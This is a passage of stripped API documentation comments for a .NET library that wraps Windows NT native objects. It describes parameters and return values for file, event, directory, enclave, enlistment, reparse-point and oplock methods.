+ The type name, or null if it can't be found. + + + + Query the directory for a list of entries. + + The list of entries. + Thrown on error + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + Specify the desired access for the directory + True to recurse into sub directories. + Specify max recursive depth. -1 to not set a limit. + True if all children were visited. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + True to recurse into sub directories. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + Specify the desired access for the directory + True to recurse into sub directories. + + + + Deletes a private namespace. If not a private namespace this does nothing. + + + + + Deletes a private namespace. If not a private namespace this does nothing. + + True to throw on error. + The NT status code. + + + + Get a directory entry based on a name. + + The name of the entry. + The typename to verify against, can be null. + True if look up is case sensitive. + The directory entry, or null if it can't be found. + + + + Get a directory entry based on a name. + + The name of the entry. + The directory entry, or null if it can't be found. + + + + Check whether a directory is exists relative to the current directory. + + Relative path to directory + True if the directory exists. + + + + Set the session ID for this directory to the current session. + + True to throw on error. + The NT status code. + Thrown on error. + Needs SeTcbPrivilege. + + + + Set the session object for this directory to the current session. + + True to throw on error. + The NT status code. + Thrown on error. + Needs SeTcbPrivilege. + + + + Returns whether this object is a container. + + + + + Directory access rights. + + + + + Base class to implement an enclave. + + + + + The base address of the enclave. + + + + + The type of enclave. + + + + + Dispose of the enclave. + + + + + Close the enclave. + + + + + Call a method in the enclave. + + The routine address to call. + The parameter to pass to the routine. + True to wait for a free thread. + True to throw on error. + The return value from the call. + + + + Call a method in the enclave. + + The routine address to call. + The parameter to pass to the routine. + True to wait for a free thread. + The return value from the call. + + + + Type of enclave. + + + + + Class to represent a VBS enclave. + + + + + Create a VBS enclave. + + The process to create the enclave in. + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + True to throw on error. + The created enclave. + + + + Create a VBS enclave. + + The process to create the enclave in. + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + The created enclave. + + + + Get a procedure address in the loaded enclave. + + The name of the procedure. + True to throw on error. + The address of the procedure. + + + + Get a procedure address in the loaded enclave. + + The name of the procedure. + The address of the procedure. + + + + Terminate the enclave. + + Flags for the terminate. + True to throw on error. + The NT status code. + + + + Terminate the enclave. + + Flags for the terminate. + The NT status code. + + + + Load a module into the enclave. + + The name of the module + Flags or path. + True to throw on error. + The NT status. + + + + Load a module into the enclave. + + The name of the module + Flags or path. + The NT status. + + + + Initialize the enclave. + + The number of threads to create. + True to throw on error. + The number of created threads. + + + + Initialize the enclave. + + The number of threads to create. + The number of created threads. + + + + Dispose of the enclave. + + + + + Class to represent a kernel transaction enlistment. + + + + + Create a new enlistment object. + + The object attributes + Desired access for the handle + Resource manager to handle the enlistment. + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + True to throw an exception on error. + The created enlistment and NT status code. + + + + Create a new enlistment object. + + The object attributes + Desired access for the handle + Resource manager to handle the enlistment. + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + The created enlistment. + + + + Open a existing new enlistment object. + + The object attributes + Desired access for the handle + Resource manager handling the enlistment. + ID of the enlistment to open. + True to throw an exception on error. + The opened enlistment and NT status code. + + + + Open a existing new enlistment object. + + The object attributes + Desired access for the handle + Resource manager handling the enlistment. + ID of the enlistment to open. + The opened enlistment. + + + + Get a default mask for creating an enlistment object. + + The creation option to get default mask for. + A default working mask. + + + + Commit complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Commit enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Preprepare complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Preprepare enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Prepare complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Prepare enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Rollback complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Rollback enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Read only enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Recover enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Single phase reject enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Commit complete enlistment. + + Optional virtual clock value. + + + + Commit enlistment. + + Optional virtual clock value. + + + + Preprepare complete enlistment. + + Optional virtual clock value. + + + + Preprepare enlistment. + + Optional virtual clock value. + + + + Prepare complete enlistment. + + Optional virtual clock value. + + + + Prepare enlistment. + + Optional virtual clock value. + + + + Rollback complete enlistment. + + Optional virtual clock value. + + + + Rollback enlistment. + + Optional virtual clock value. + + + + Read only enlistment. + + Optional virtual clock value. + + + + Recover enlistment. + + Optional virtual clock value. + + + + Single phase reject enlistment. + + Optional virtual clock value. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get enlistment ID. + + + + + Get associated transaction ID. + + + + + Get resource manager ID. + + + + + Get CRM enlistment ID. + + + + + Get CRM transaction manager ID. + + + + + Get CRM resource manager ID. + + + + + Get or set recovery information. + + + + + Class to represent an NT trace GUID. + + + + + Class representing a NT Event object + + + + + Create an event object + + The path to the event + The root object for relative path names + The type of the event + The initial state of the event + True to throw on error. + The event object + + + + Create an event object + + The path to the event + The root object for relative path names + The type of the event + The initial state of the event + The event object + + + + Create an event object + + The event object attributes + The type of the event + The initial state of the event + The desired access for the event + The event object + + + + Create an event object + + The event object attributes + The type of the event + The initial state of the event + The desired access for the event + True to throw an exception on error. + The NT status code and object result. + + + + Create an event object + + The path to the event + The type of the event + The initial state of the event + The event object + + + + Open an event object + + The path to the event + The root object for relative path names + The desired access for the event + The event object + + + + Open an event object + + The event object attributes + The desired access for the event + The event object. + + + + Open an event object + + The event object attributes + The desired access for the event + True to throw an exception on error. + The NT status code and object result. + + + + Open an event object + + The path to the event + The root object for relative path names + The event object + + + + Open an event object + + The path to the event + The event object + + + + Set the event state + + True to throw an exception on error. + The previous state of the event and NT status. + + + + Set the event state + + The previous state of the event + + + + Clear the event state + + True to throw an exception on error. + The NT status code. + + + + Clear the event state + + + + + Pulse the event state. + + True to throw an exception on error. + The previous state of the event and NT status. + + + + Pulse the event state. + + The previous state of the event + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get event type. + + + + + Get current event state. + + + + + Type of Event object. + + + + + Manual reset event. + + + + + Automatic reset event. + + + + + Exception class representing an NT status error. + + + + + Constructor + + Status result + + + + Returns the contained NT status code + + + + + Returns a string form of the NT status code. + + + + + Class representing a NT File object + + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + Optional allocation size. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + Optional allocation size. + The created/opened file object. + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + True to throw an exception on error. + The NT status code and object result. + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + The created/opened file object. + + + + Create a new file + + The path to the file + A root object to parse relative filenames + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + True to throw an exception on error. + The created/opened file object. + + + + Create a new file + + The path to the file + A root object to parse relative filenames + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + The created/opened file object. + + + + Create a new file + + The path to the file + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + The created/opened file object. + + + + Create a new named pipe file + + The object attributes + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Create a new named pipe file + + The object attributes + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + The file instance for the pipe. + Thrown on error. + + + + Create a new named pipe file + + The path to the pipe file + A root object to parse relative filenames + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + True to throw an exception on error. + The file instance for the pipe. + Thrown on error. + + + + Create a new named pipe file + + The path to the pipe file + A root object to parse relative filenames + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + The file instance for the pipe. + Thrown on error. + + + + Create an anonymous named pipe pair. + + True to throw on error. + The named pipe pair. + + + + Create an anonymous named pipe pair. + + The named pipe pair. + + + + Create a new named mailslot file + + The object attributes + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Read Timeout. + True to throw on error. + The file instance for the mailslot. + Thrown on error. + + + + Create a new named mailslot file + + The object attributes + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Read timeout in MS (<0 is infinite) + True to throw on error. + The file instance for the mailslot. + Thrown on error. + + + + Create a new named mailslot file + + The object attributes + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Read timeout in MS ( <0 is infinite) + The file instance for the mailslot. + Thrown on error. + + + + Create a new named mailslot file + + The path to the mailslot file + A root object to parse relative filenames + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Timeout in MS ( <0 is infinite) + The file instance for the mailslot. + Thrown on error. + + + + Open a file + + The object attributes + The desired access for the file handle + The file share access + File open options + True to throw an exception on error. + The NT status code and object result. + + + + Open a file + + The object attributesf + The desired access for the file handle + The file share access + File open options + The opened file + Thrown on error. + + + + Open a file + + The path to the file + The root directory if path is relative. + The desired access for the file handle + The file share access + File open options + True to throw an exception on error. + The opened file + Thrown on error. + + + + Open a file + + The path to the file + The root directory if path is relative. + The desired access for the file handle + The file share access + File open options + The opened file + Thrown on error. + + + + Open a file + + The path to the file + The root directory if path is relative. + The desired access for the file handle + The opened file + Thrown on error. + + + + Get the object ID of a file as a string + + The path to the file + The object ID as a string + Thrown on error. + + + + Open a file by its object ID + + A handle to the volume on which the file resides. + The object ID as a binary string + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its object ID + + A handle to the volume on which the file resides. + The object ID as a binary string + The desired access for the file + File share access + Open options. + The opened file object + Thrown on error. + + + + Open a file by its ID + + A handle to the volume on which the file resides. + The file's ID. Can be a file reference number or an Object ID. + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its ID + + A handle to the volume on which the file resides. + The file's ID. Can be a file reference number or an Object ID. + The desired access for the file + File share access + Open options. + The opened file object + + + + Open a file by its object ID + + A handle to the volume on which the file resides. + The file ID. + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its file ID + + A handle to the volume on which the file resides. + The file ID. + The desired access for the file + File share access + Open options. + The opened file object + Thrown on error. + + + + Open a file by its file ID + + The path to the volume which contains the file. + The file ID. + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its file ID + + The path to the volume which contains the file. + The file ID. + The desired access for the file + File share access + Open options. + The opened file object + + + + Delete a file + + The object attributes for the file. + True to throw an exception on error + The status result of the delete + + + + Delete a file + + The object attributes for the file. + + + + Delete a file + + The path to the file. + + + + Rename file. + + The file to rename. + The target NT path. + Thrown on error. + + + + Create a hardlink to another file. + + The file to hardlink to. + The desintation hardlink path. + Thrown on error. + + + + Create a mount point. + + The path to the mount point to create. + The substitute name to reparse to. + The print name to display (can be null). + + + + Create a symlink. + + The path to the mount point to create. + True to create a directory symlink, false for a file. + The substitute name to reparse to. + The print name to display. + Additional flags for the symlink. + + + + Get the reparse point buffer for the file. + + The path to the reparse point. + The reparse point buffer. + + + + Delete the reparse point buffer. + + The path to the reparse point. + The original reparse buffer. + + + + Query attributes of a file. + + The object attributes. + True to throw on error. + The file attributes. + + + + Query attributes of a file. + + The object attributes. + The file attributes. + + + + Query attributes of a file. + + The path to the file. + The root directory to parse from. + True to throw on error. + The file attributes. + + + + Query attributes of a file. + + The path to the file. + The root directory to parse from. + The file attributes. + + + + Query attributes of a file. + + The path to the file. + The file attributes. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + True to throw on error. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + True to throw on error. + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw on error. + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw on error. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw an exception on error. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw an exception on error. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Send an File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw an exception on error. + The length of output bytes returned. + Thrown on error. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw an exception on error. + The output buffer returned by the kernel. + + + + Send an File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + The length of output bytes returned. + Thrown on error. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Re-open an existing file for different access. + + The desired access for the file handle + The file share access + File open options + Flags for the object attributes. + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Re-open an existing file for different access. + + The desired access for the file handle + The file share access + File open options + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Re-open an exsiting file for different access. + + The desired access for the file handle + The file share access + File open options + The opened file + Thrown on error. + + + + Specify file disposition. + + True to set delete on close, false to clear delete on close. + True to throw on error. + The NT status code. + Thrown on error. + You can't prevent deletion if file opened with DeleteOnClose flag. + + + + Specify file disposition. + + True to set delete on close, false to clear delete on close. + Thrown on error. + You can't prevent deletion if file opened with DeleteOnClose flag. + + + + Delete the file. Must have been opened with DELETE access. + + True to throw on error. + The NT status code. + Thrown on error. + + + + Delete the file. Must have been opened with DELETE access. + + Thrown on error. + + + + Set disposition on the file (extended Windows version). + + True to throw on error. + Flags for SetDispositionEx call. + The NT status code. + Thrown on error. + + + + Set disposition on the file (extended Windows version). + + Flags for SetDispositionEx call. + Thrown on error. + + + + Delete the file (extended Windows version). Must have been opened with DELETE access. + + True to throw on error. + Flags for DeleteEx call. + The NT status code. + Thrown on error. + + + + Delete the file (extended Windows version). Must have been opened with DELETE access. + + Flags for DeleteEx call. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + Thrown on error. + + + + Create a new hardlink to this file. + + The target absolute NT path. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + True to throw on error. + The NT status code. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + The flags associated to FileLinkInformationEx. + True to throw on error. + The NT status code. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + The flags associated to FileLinkInformationEx. + Thrown on error. + + + + Rename file. + + The target NT path. + The root directory if new_name is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + True to throw on error. + The NT status code. + Thrown on error. + + + + Rename file. + + The target NT path. + The root directory if new_name is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + Thrown on error. + + + + Rename file. + + The target NT path. + The root directory if new_name is relative + Thrown on error. + + + + Rename this file with an absolute path. + + The target absolute NT path. + If TRUE, replace the target file if it exists. If FALSE, fails if the target file already exists. + Thrown on error. + + + + Rename this file with an absolute path. + + The target absolute NT path. + Thrown on error. + + + + Rename (extended Windows version) this file with an absolute path. + + The target absolute NT path. + The root directory if new_name is relative + The flags associated to FileRenameInformationEx. + True to throw on error. + The NT status code. + Thrown on error. + + + + Rename (extended Windows version) this file with an absolute path. + + The target absolute NT path. + The root directory if new_name is relative + The flags associated to FileRenameInformationEx. + Thrown on error. + + + + Rename (extended Windows version) this file with an absolute path. + + The target absolute NT path. + The flags associated to FileRenameInformationEx. + Thrown on error. + + + + Set an arbitrary reparse point. + + The reparse point data. + + + + Set an arbitrary reparse point. + + The reparse point data. + True to throw on error. + The NT status code. + + + + Set an arbitrary reparse point as a raw byte array. + + The reparse point data as a byte array. + + + + Set an arbitrary reparse point as a raw byte array. + + The reparse point data as a byte array. + True to throw on error. + The NT status code. + + + + Set an arbitrary reparse point. + + The reparse point data. + Flags for the reparse buffer. + Existing tag to check against. If no check required use 0. + Existing Guid to check against. If no check requested use empty GUID. + True to throw on error. + The NT status code. + + + + Set an arbitrary reparse point. + + The reparse point data. + Flags for the reparse buffer. + Existing tag to check against. If no check required use 0. + Existing Guid to check against. If no check requested use empty GUID. + + + + Set an arbitrary reparse point. + + The reparse point data. + Existing tag to check against. If no check required use 0. + + + + Set an arbitrary reparse point. + + The reparse point data.> + + + + Set a mount point on the current file object. + + The substitute name to reparse to. + The print name to display (can be null). + + + + Set a symlink on the current file object. + + The substitute name to reparse to. + The print name to display. + Additional flags for the symlink. + + + + Set a mount point on the current file object. + + The substitute name to reparse to. + The print name to display (can be null). + True to throw on error. + The NT status code. + + + + Set a symlink on the current file object. + + The substitute name to reparse to. + The print name to display. + Additional flags for the symlink. + True to throw on error. + The NT status code. + + + + Get the reparse point buffer for the file. + + True to throw on error. + The reparse point buffer. + + + + Get the reparse point buffer for the file. + + The reparse point buffer. + + + + Get the reparse point buffer for the file as a raw buffer. + + True to throw on error. + The reparse point buffer. + + + + Get the reparse point buffer for the file as a raw buffer. + + The reparse point buffer. + + + + Delete the reparse point buffer + + The reparse tag. + The NT status code. + True to throw on error. + + + + Delete the reparse point buffer + + The reparse tag. + + + + Delete the reparse point buffer + + The original reparse buffer. + True to throw on error. + + + + Delete the reparse point buffer + + The original reparse buffer. + + + + Get list of accessible files underneath a directory. + + Share access for file open + Options for open call. + The desired access for each file. + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + The list of files which can be access. + + + + Get list of accessible files underneath a directory. + + Share access for file open + Options for open call. + The desired access for each file. + The list of files which can be access. + + + + Query a directory for files. + + The list of directory entries. + + + + Query a directory for files. + + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + Specify what additional data to include in the directory entries. + The list of directory entries. You might need to cast the directories to the appropriate types if using include flags. + + + + Query a directory for files. + + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + The list of directory entries. + + + + Query a directory for files with file ID. + + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + Return placeholder parent and current directory entries. + The list of directory entries. + + + + Read data from a file with a length and position. + + The buffer to read to. + The position in the file to read. The position is optional. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position. + + The buffer to read to. + The position in the file to read. The position is optional. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position. + + The length of the read + The position in the file to read. The position is optional. + True to throw on error. + The read bytes, this can be smaller than length. + + + + Read data from a file with a length and position. + + The length of the read + The position in the file to read + The read bytes, this can be smaller than length. + + + + Read data from a file with a length. + + The length of the read + The read bytes, this can be smaller than length. + + + + Read data from a file with a length over a scatter set of pages. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + True to throw on error. + The length of bytes read. + + + + Read data from a file with a length over a scatter set of pages. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + The length of bytes read. + + + + Read data from a file with a length and position asynchronously. + + The buffer to read to. + The position in the file to read. The position is optional. + Cancellation token to cancel async operation. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + The buffer to read to. + The position in the file to read. The position is optional. + Cancellation token to cancel async operation. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + The length of the read + The position in the file to read. The position is optional. + Cancellation token to cancel async operation. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously.. + + The length of the read + The position in the file to read + Cancellation token to cancel async operation. + The read bytes, this can be smaller than length. + + + + Read data from a file with a length and position asynchronously.. + + The length of the read + The position in the file to read + The read bytes, this can be smaller than length. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + Cancellation token to cancel async operation. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + Cancellation token to cancel async operation. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + The length of bytes read into the buffer. + + + + Write data to a file at a specific position asynchronously. + + The data to write as a buffer. + The position to write to. + Cancellation token to cancel async operation. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write as a buffer. + The position to write to. + Cancellation token to cancel async operation. + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write. + The position to write to. + Cancellation token to cancel async operation. + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write + The position to write to + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write. + The position to write to. + Cancellation token to cancel async operation. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position. + + The data to write + The position to write to. Optional + True to throw on error. + The number of bytes written. + + + + Write data to a file at a specific position. + + The data to write + The position to write to. Optional + The number of bytes written. + + + + Write data to a file at a specific position. + + The data to write + The position to write to. Optional + True to throw on error. + The number of bytes written. + + + + Write data to a file at a specific position. + + The data to write + The position to write to + The number of bytes written + + + + Write data to a file + + The data to write + The number of bytes written + + + + Write data to a file at a specific position gathered from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + True to throw on error. + The number of bytes written. + + + + Write data to a file at a specific position gathered from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + The number of bytes written. + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + Cancellation token to cancel async operation. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + Cancellation token to cancel async operation. + The number of bytes written + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + The number of bytes written + + + + Lock part of a file. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + True to throw on error. + The NT status code. + + + + Lock part of a file. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + + + + Shared lock part of a file. + + The offset into the file to lock + The number of bytes to lock + + + + Lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + Cancellation token to cancel async operation. + True to throw on error. + The NT status code. + + + + Lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + Cancellation token to cancel async operation. + + + + Lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + + + + Shared lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + + + + Unlock part of a file previously locked with Lock + + The offset into the file to unlock + The number of bytes to unlock + Thrown on error. + + + + Unlock part of a file previously locked with Lock + + The offset into the file to unlock + The number of bytes to unlock + True to throw on error. + The NT status code. + + + + Convert this NtFile to a FileStream for reading/writing. + + The stream must be closed separately from the NtFile. + The file stream. + Thrown on error. + + + + Get the Win32 path name for the file. + + The flags to determine what path information to get. + The path. + Throw on error. + + + + Get the Win32 path name for the file. + + The flags to determine what path information to get. + True to throw on error. + The path. + + + + Oplock the file with a specific level. + + The level of oplock to set. + True to throw on error. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + Cancellation token to cancel async operation. + True to throw on error. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + True to throw on error. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + Cancellation token to cancel async operation. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + The oplock response level. + + + + Acknowledge an oplock break. + + The acknowledgment level. + True to throw on error. + The NT status code. + Oplock break acknowledgement returns STATUS_PENDING. + + + + Acknowledge an oplock break. + + The acknowledgment level. + + + + Oplock the file with a specific level. + + The oplock cache level. + Specify additional flags for the request. + True to throw on error. + The result of the oplock request. + + + + Oplock the file with a specific level. + + The oplock cache level. + True to throw on error. + The result of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Cancellation token to cancel async operation. + Specify additional flags for the request. + True to throw on error. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Cancellation token to cancel async operation. + True to throw on error. + The request of the oplock request. + + + + Oplock the file with a specific lease level and flags. + + The oplock lease level. + Specify additional flags for the request. + The result of the oplock request. + + + + Oplock the file with a specific lease level and flags. + + The oplock lease level. + The result of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Specify additional flags for the request. + Cancellation token to cancel async operation. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Cancellation token to cancel async operation. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + True to throw on error. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + The response of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Specify additional flags for the request. + The response of the oplock request. + + + + Acknowledge a lease oplock started with RequestOplockLease. + + True to complete acknowledgement on close. + True to throw on error. + The NT status code. + This breaks to None. If you want to request the new oplock level then request a new oplock. + + + + Acknowledge a lease oplock started with RequestOplockLease. + + True to complete acknowledgement on close. + + + + Acknowledge a lease oplock started with RequestOplockLease. + + + + + Oplock the file exclusively (no other users can access the file). + + True to throw on error. + The oplock response level. + + + + Oplock the file exclusively (no other users can access the file). + + The oplock response level. + + + + Oplock the file exclusively (no other users can access the file). + + Cancellation token to cancel async operation. + The oplock response level. + + + + Oplock the file exclusively (no other users can access the file). + + The oplock response level. + + + + Wait for an oplock break to complete. + + True 